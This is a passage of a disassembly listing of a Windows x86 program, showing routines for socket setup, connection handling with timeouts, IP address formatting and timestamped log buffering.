jz short loc_4196A1
cmp eax, esi
jnz short loc_419713
loc_4196A1: ; CODE XREF: sub_4193C0+2DBj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4196D4
; ---------------------------------------------------------------------------
loc_4196AE: ; CODE XREF: sub_4193C0+2C7j
cmp eax, 2
jz short loc_419713
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4196C2
cmp eax, edi
jnz short loc_419713
loc_4196C2: ; CODE XREF: sub_4193C0+2FCj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4196D4: ; CODE XREF: sub_4193C0+2ECj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
loc_419713: ; CODE XREF: sub_4193C0+2CCj
; sub_4193C0+2DFj ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41972C: ; CODE XREF: sub_4193C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419554
loc_419742: ; CODE XREF: sub_4193C0+18Bj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41974C: ; CODE XREF: sub_4193C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_419768
; ---------------------------------------------------------------------------
loc_419766: ; CODE XREF: sub_4193C0+3Dj
mov al, 1
loc_419768: ; CODE XREF: sub_4193C0+3A4j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4193C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419890 proc near ; CODE XREF: sub_40147Ej
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419950
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41991E
mov eax, [esp+30h]
test eax, eax
jz short loc_41991E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419950
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41991E: ; CODE XREF: sub_419890+5Aj
; sub_419890+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_419950
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419950: ; CODE XREF: sub_419890+52j
; sub_419890+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4199A0 proc near ; CODE XREF: sub_401F0Aj
nop
call near ptr 27F0C4Bh
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4199A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4199C0 proc near ; CODE XREF: sub_4021C6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
call near ptr 77C371D3h
nop
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43F0B0
call sub_437BDA
sub_4199C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A10: ; CODE XREF: ___:00401C99j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419A30: ; CODE XREF: ___:00401528j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A50 proc near ; CODE XREF: sub_401FE1j
xor al, al
retn 4
sub_419A50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A70 proc near ; CODE XREF: sub_40152Dj
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D8075
call sub_401118
retn
sub_419A70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419AB0: ; CODE XREF: ___:0040150Fj
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_419AE3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_419AE3
mov [esp+18h], eax
loc_419AE3: ; CODE XREF: ___:00419ACBj
; ___:00419ADDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_508E2C
loc_419AF8: ; CODE XREF: ___:00419B49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419B4B
cmp byte ptr [esi], 0
jz short loc_419B34
mov eax, [esp+30h]
test eax, eax
jz short loc_419B28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419B28
push eax
push esi
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz short loc_419B34
loc_419B28: ; CODE XREF: ___:00419B0Fj
; ___:00419B17j
push edi
push esi
push ebx
push ebp
call sub_40152D
add esp, 10h
loc_419B34: ; CODE XREF: ___:00419B07j
; ___:00419B26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50CE2C
mov [esp+14h], edx
jl short loc_419AF8
loc_419B4B: ; CODE XREF: ___:00419B02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: ___:00402289j
push ebx
mov ebx, dword_511B04
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_508E2C
loc_419BA2: ; CODE XREF: ___:00419BBEj
cmp byte ptr [esi], 0
jz short loc_419BB2
push edi
push esi
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_419BC6
loc_419BB2: ; CODE XREF: ___:00419BA5j
add esi, 80h
cmp esi, offset dword_50CE2C
jl short loc_419BA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419BC6: ; CODE XREF: ___:00419BB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419BE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
nop
call near ptr 27D0000h
mov edi, dword_511B08
mov esi, offset dword_50CE2C
loc_419BFB: ; CODE XREF: sub_419BE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419C0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; strncpy
add esp, 0Ch
loc_419C0F: ; CODE XREF: sub_419BE0+1Ej
sub esi, 80h
cmp esi, offset dword_508E2C
jge short loc_419BFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_508E2C
nop
call near ptr 77C3FA76h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419BE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419CB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_511B08
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; strncpy
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419D21
mov [edx+180h], al
loc_419D21: ; CODE XREF: ___:00419D19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419E32
loc_419D3F: ; CODE XREF: ___:00419E25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; strncpy
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; strncpy
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419E00
lea eax, [ebx-1]
test eax, eax
jz short loc_419E00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419DDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call sub_5F76F7
add esp, 14h
jmp short loc_419E00
; ---------------------------------------------------------------------------
loc_419DDD: ; CODE XREF: ___:00419DAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call sub_5F76F7
add esp, 10h
loc_419E00: ; CODE XREF: ___:00419D8Aj
; ___:00419D91j ...
mov edx, [esp+61Ch]
mov esi, dword_511B04
push edx
push ebx
call esi ; strstr
add esp, 8
test eax, eax
jnz short loc_419E2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; strstr
add esp, 8
test eax, eax
jnz loc_419D3F
loc_419E2B: ; CODE XREF: ___:00419E16j
mov esi, [esp+614h]
loc_419E32: ; CODE XREF: ___:00419D39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; strncpy
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419ED0: ; CODE XREF: ___:004018DEj
sub esp, 10h
push esi
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419EEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419EEE: ; CODE XREF: ___:00419EE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_419F39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F39: ; CODE XREF: ___:00419F2Fj
push 7FFFFFFFh
push esi
call near ptr 71AB88D3h
nop
test eax, eax
jz short loc_419F51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F51: ; CODE XREF: ___:00419F47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419F90: ; CODE XREF: ___:00401E83j
push edi
xor edi, edi
mov eax, offset byte_4E02A5
loc_419F98: ; CODE XREF: ___:00419FA8j
cmp dword ptr [eax], 0
jz short loc_419FAA
add eax, 316h
inc edi
cmp eax, offset byte_4E7E15
jle short loc_419F98
loc_419FAA: ; CODE XREF: ___:00419F9Bj
cmp edi, 13h
jle short loc_419FB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419FB4: ; CODE XREF: ___:00419FADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4E01ABh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5F76F7
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F76F7
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A050 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D8735
loc_41A058: ; CODE XREF: sub_41A050+18j
cmp dword ptr [eax], 0
jz short loc_41A06A
add eax, 316h
inc edi
cmp eax, offset byte_4E02A5
jle short loc_41A058
loc_41A06A: ; CODE XREF: sub_41A050+Bj
cmp edi, 13h
jle short loc_41A074
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A074: ; CODE XREF: sub_41A050+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D863Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5F76F7
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F76F7
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41A050 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401C49j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43F0BC
mov eax, dword_50DAF8
test eax, eax
jnz short loc_41A148
mov eax, dword_50DAF8
inc eax
mov dword_50DAF8, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
nop
call near ptr 71AB664Dh
jmp short loc_41A155
; ---------------------------------------------------------------------------
loc_41A148: ; CODE XREF: sub_41A110+19j
mov edx, dword_50DAF8
inc edx
mov dword_50DAF8, edx
loc_41A155: ; CODE XREF: sub_41A110+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_448F30
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A110 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FE6
test [esp+4+arg_0], 1
jz short loc_41A1F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A1E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A210 proc near ; CODE XREF: sub_401FE6j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43F0BC
test al, al
jnz short loc_41A225
call sub_4014E7
loc_41A225: ; CODE XREF: sub_41A210+Ej
mov eax, 1
mov ecx, dword_50DAF8
cmp ecx, eax
jle short loc_41A240
mov eax, dword_50DAF8
dec eax
mov dword_50DAF8, eax
locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j
retn
; ---------------------------------------------------------------------------
loc_41A240: ; CODE XREF: sub_41A210+22j
jnz short locret_41A23F
mov ecx, dword_50DAF8
dec ecx
mov dword_50DAF8, ecx
nop
jmp near ptr 71AB4428h
sub_41A210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A280: ; CODE XREF: ___:004015AAj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BFCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40196A
test al, al
jz loc_41A331
mov al, [esi+80Bh]
test al, al
jz short loc_41A2B9
mov al, 1
jmp short loc_41A331
; ---------------------------------------------------------------------------
loc_41A2B9: ; CODE XREF: ___:0041A2B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401640
push eax
mov ecx, esi
call sub_4020E5
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40187A
mov al, bl
pop edi
pop ebx
loc_41A331: ; CODE XREF: ___:0041A2A5j
; ___:0041A2B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A390 proc near ; CODE XREF: sub_40196Aj
mov al, byte_444DA4
retn
sub_41A390 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A3B0 proc near ; CODE XREF: sub_4020E5j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A3D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3D0: ; CODE XREF: sub_41A3B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A571
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A40A
mov ecx, esi
call sub_4014E7
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A3B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A419
push 1
jmp short loc_41A41B
; ---------------------------------------------------------------------------
loc_41A419: ; CODE XREF: sub_41A3B0+63j
push 0
loc_41A41B: ; CODE XREF: sub_41A3B0+67j
mov ecx, esi
call sub_4018CA
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_511C50
test eax, eax
jge short loc_41A4BC
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 0Bh
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j
; sub_41A3B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A56A
loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_511C94
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; select
test eax, eax
jge short loc_41A530
loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej
call ebp ; WSAGetLastError
call ebp ; WSAGetLastError
cmp eax, 4
jnz short loc_41A545
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A514
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A545
loc_41A514: ; CODE XREF: sub_41A3B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; select
test eax, eax
jl short loc_41A4FB
loc_41A530: ; CODE XREF: sub_41A3B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A561
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A563
; ---------------------------------------------------------------------------
loc_41A545: ; CODE XREF: sub_41A3B0+152j
; sub_41A3B0+162j
mov ecx, esi
call sub_4014E7
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A561: ; CODE XREF: sub_41A3B0+189j
push 0
loc_41A563: ; CODE XREF: sub_41A3B0+193j
mov ecx, esi
call sub_4018CA
loc_41A56A: ; CODE XREF: sub_41A3B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A571: ; CODE XREF: sub_41A3B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A3B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A600 proc near ; CODE XREF: sub_4014E7j
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
push eax
call near ptr 71AB9639h
nop
loc_41A61A: ; CODE XREF: sub_41A600+Cj
; sub_41A600+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A640 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_448F30
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A640 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6B0 proc near ; CODE XREF: sub_401492j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A6C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A77F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A6FB
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6FB: ; CODE XREF: sub_41A6B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41A754
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A6B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A778
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A778: ; CODE XREF: sub_41A6B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A6B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_401B95j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A7EE
